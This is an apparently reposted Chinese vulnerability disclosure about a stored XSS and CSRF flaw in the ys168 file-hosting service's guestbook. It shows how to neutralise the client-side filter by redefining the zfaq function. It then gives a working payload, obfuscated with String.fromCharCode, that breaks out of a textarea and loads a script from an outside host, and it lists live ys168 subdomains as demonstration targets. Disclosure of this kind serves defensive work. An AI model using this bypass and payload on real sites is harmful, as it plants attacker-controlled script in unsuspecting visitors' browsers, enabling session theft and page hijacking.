ys168网盘系统留言板存储型xss+csrf - 网站安全 --自学php网

ys168网盘系统留言板存储型xss+csrf - 网站安全 -

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 留言内容没有服务端过滤。重构zfaq 函数即可。function zfaq(str) { return str;}然后本地提交。内容代码为/textareaiframe/onload=javascript:write(String.fromCharCode(60,115,99,114,105,112,116,32......

留言内容没有服务端过滤。
重构zfaq 函数即可。

function zfaq(str) {
return str;
}
然后本地提交。
内容代码为

</textarea><iframe/onload=”javascript:write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,109,120,107,46,111,114,103,47,113,46,106,115,62,60,47,115,99,114,105,112,116,62))“>

漏洞证明：

演示地址：
http://lover.ys168.com/
http://llxc.ys168.com/

简单分析一个通过js劫持进行黑帽SEO做淘宝客的案

如何防止网站被入侵 - 网站安全 - 自学php

子栏目

ys168网盘系统留言板存储型xss+csrf - 网站安全 -

最新评论

添加评论

更多文章推荐

添加评论